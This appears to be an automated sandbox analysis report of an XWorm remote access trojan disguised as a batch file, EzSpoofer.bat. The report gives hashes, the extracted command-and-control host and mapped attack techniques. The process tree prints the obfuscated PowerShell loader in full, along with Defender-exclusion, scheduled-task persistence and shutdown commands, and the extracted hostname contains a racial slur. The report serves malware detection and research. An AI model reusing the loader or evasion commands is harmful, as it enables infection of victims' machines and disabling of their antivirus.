xworm | 577c05e3a4882a69fe2a06ac772ee8742bb54c9a098a34ccdcd00da7815adc30

Analysis

max time kernel
121s
max time network
123s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
24-01-2025 14:39

Sharing

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Reason

Machine shutdown

Report Analysis Logs

General

Target

EzSpoofer.bat
Size

291KB
MD5

9524fa679cf2b883fddf8dfe3f0c2c4f
SHA1

2b20ad331b377685226e8e40d5c7364d102f0735
SHA256

577c05e3a4882a69fe2a06ac772ee8742bb54c9a098a34ccdcd00da7815adc30
SHA512

a38743fe6c3bf55dab74b5c04f785345a420ed23c1513ce0901f1f78e28f277c8c49cad809c909a2bb0cb9e16d98ce88dd92a241e11f4ab4e128728077b3c42d
SSDEEP

6144:yUkjDHOfsQkBWTAaCi+oG7RZAkehxo4CzC1a5TAl2K9:yvPuE3BIQTEjPv5

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

IDKTOBEHONESTNIGAS-56344.portmap.io:56344

Attributes

Install_directory
%ProgramData%

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2508-15-0x000001E3EF330000-0x000001E3EF348000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 64 IoCs

flow	pid	Process
14	2508	powershell.exe
20	2508	powershell.exe
23	2508	powershell.exe
24	2508	powershell.exe
30	2508	powershell.exe
32	2508	powershell.exe
33	2508	powershell.exe
34	2508	powershell.exe
35	2508	powershell.exe
36	2508	powershell.exe
37	2508	powershell.exe
38	2508	powershell.exe
39	2508	powershell.exe
45	2508	powershell.exe
48	2508	powershell.exe
54	2508	powershell.exe
56	2508	powershell.exe
57	2508	powershell.exe
58	2508	powershell.exe
59	2508	powershell.exe
60	2508	powershell.exe
61	2508	powershell.exe
62	2508	powershell.exe
63	2508	powershell.exe
64	2508	powershell.exe
65	2508	powershell.exe
66	2508	powershell.exe
67	2508	powershell.exe
68	2508	powershell.exe
69	2508	powershell.exe
70	2508	powershell.exe
71	2508	powershell.exe
72	2508	powershell.exe
73	2508	powershell.exe
74	2508	powershell.exe
75	2508	powershell.exe
76	2508	powershell.exe
77	2508	powershell.exe
78	2508	powershell.exe
79	2508	powershell.exe
80	2508	powershell.exe
83	2508	powershell.exe
84	2508	powershell.exe
85	2508	powershell.exe
86	2508	powershell.exe
87	2508	powershell.exe
88	2508	powershell.exe
89	2508	powershell.exe
90	2508	powershell.exe
91	2508	powershell.exe
92	2508	powershell.exe
93	2508	powershell.exe
94	2508	powershell.exe
95	2508	powershell.exe
96	2508	powershell.exe
97	2508	powershell.exe
98	2508	powershell.exe
99	2508	powershell.exe
100	2508	powershell.exe
101	2508	powershell.exe
102	2508	powershell.exe
103	2508	powershell.exe
104	2508	powershell.exe
105	2508	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2508	powershell.exe
3820	powershell.exe
4812	powershell.exe
2412	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1380	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell = "C:\\ProgramData\\powershell.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	ip-api.com

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "218"	LogonUI.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2596	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2508	powershell.exe
2508	powershell.exe
4812	powershell.exe
4812	powershell.exe
2412	powershell.exe
2412	powershell.exe
3820	powershell.exe
3820	powershell.exe
1380	powershell.exe
1380	powershell.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2508	powershell.exe
Token: SeDebugPrivilege	4812	powershell.exe
Token: SeDebugPrivilege	2412	powershell.exe
Token: SeDebugPrivilege	3820	powershell.exe
Token: SeDebugPrivilege	2508	powershell.exe
Token: SeDebugPrivilege	1380	powershell.exe
Token: SeShutdownPrivilege	3156	shutdown.exe
Token: SeRemoteShutdownPrivilege	3156	shutdown.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1480	LogonUI.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4912 wrote to memory of 2508	4912	cmd.exe	83
PID 4912 wrote to memory of 2508	4912	cmd.exe	83
PID 2508 wrote to memory of 4812	2508	powershell.exe	85
PID 2508 wrote to memory of 4812	2508	powershell.exe	85
PID 2508 wrote to memory of 2412	2508	powershell.exe	87
PID 2508 wrote to memory of 2412	2508	powershell.exe	87
PID 2508 wrote to memory of 3820	2508	powershell.exe	89
PID 2508 wrote to memory of 3820	2508	powershell.exe	89
PID 2508 wrote to memory of 2596	2508	powershell.exe	91
PID 2508 wrote to memory of 2596	2508	powershell.exe	91
PID 2508 wrote to memory of 3156	2508	powershell.exe	103
PID 2508 wrote to memory of 3156	2508	powershell.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EzSpoofer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0V3kVtJZ/RnJS/1KnDl9kRNJa4hjwKb/wS09GjV1yoI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PWhCalcBIWTHvOEwx/NKyQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $oWlOe=New-Object System.IO.MemoryStream(,$param_var); $tikAk=New-Object System.IO.MemoryStream; $hdfbY=New-Object System.IO.Compression.GZipStream($oWlOe, [IO.Compression.CompressionMode]::Decompress); $hdfbY.CopyTo($tikAk); $hdfbY.Dispose(); $oWlOe.Dispose(); $tikAk.Dispose(); $tikAk.ToArray();}function execute_function($param_var,$param2_var){ $HCNpH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IoHdh=$HCNpH.EntryPoint; $IoHdh.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\EzSpoofer.bat';$fQNIN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\EzSpoofer.bat').Split([Environment]::NewLine);foreach ($SSNIA in $fQNIN) { if ($SSNIA.StartsWith(':: ')) { $dFMGe=$SSNIA.Substring(3); break; }}$payloads_var=[string[]]$dFMGe.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2508
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3820
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "powershell" /tr "C:\ProgramData\powershell.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2596
- - C:\Windows\SYSTEM32\shutdown.exe
    shutdown.exe /f /s /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3156

C:\ProgramData\powershell.exe
C:\ProgramData\powershell.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1380

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39b5055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:1480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\powershell.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
92075279f2dbcaa5724ee5a47e49712f

SHA1
8dd3e2faa8432dde978946ebaf9054f7c6e0b2cb

SHA256
fd985ddd090621af25aa77aebff689c95ea7679ff0e81887124b2802ae3e9442

SHA512
744c62556233d9872f43ffb5a5a98aee20a44834436306f0a948c8c4072bdb46ef8044616593747edd645caaee60faf8b14fedb2d6df5f6019b5c73357d80d22

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bw3pmk5y.qcf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1380-77-0x000002C5FC010000-0x000002C5FC086000-memory.dmp

Filesize
472KB

Download
memory/1380-76-0x000002C5FB470000-0x000002C5FB4B4000-memory.dmp

Filesize
272KB

Download
memory/2508-54-0x00007FFC0D293000-0x00007FFC0D295000-memory.dmp

Filesize
8KB

Download
memory/2508-12-0x00007FFC0D290000-0x00007FFC0DD51000-memory.dmp

Filesize
10.8MB

Download
memory/2508-79-0x00007FFC0D290000-0x00007FFC0DD51000-memory.dmp

Filesize
10.8MB

Download
memory/2508-10-0x000001E3EF0C0000-0x000001E3EF0E2000-memory.dmp

Filesize
136KB

Download
memory/2508-11-0x00007FFC0D290000-0x00007FFC0DD51000-memory.dmp

Filesize
10.8MB

Download
memory/2508-15-0x000001E3EF330000-0x000001E3EF348000-memory.dmp

Filesize
96KB

Download
memory/2508-14-0x000001E3EF2F0000-0x000001E3EF328000-memory.dmp

Filesize
224KB

Download
memory/2508-13-0x000001E3EE500000-0x000001E3EE508000-memory.dmp

Filesize
32KB

Download
memory/2508-0-0x00007FFC0D293000-0x00007FFC0D295000-memory.dmp

Filesize
8KB

Download
memory/2508-55-0x00007FFC0D290000-0x00007FFC0DD51000-memory.dmp

Filesize
10.8MB

Download
memory/2508-64-0x000001E3EF6C0000-0x000001E3EF6CC000-memory.dmp

Filesize
48KB

Download
memory/4812-16-0x00007FFC0D290000-0x00007FFC0DD51000-memory.dmp

Filesize
10.8MB

Download
memory/4812-30-0x00007FFC0D290000-0x00007FFC0DD51000-memory.dmp

Filesize
10.8MB

Download
memory/4812-27-0x00007FFC0D290000-0x00007FFC0DD51000-memory.dmp

Filesize
10.8MB

Download
memory/4812-26-0x00007FFC0D290000-0x00007FFC0DD51000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads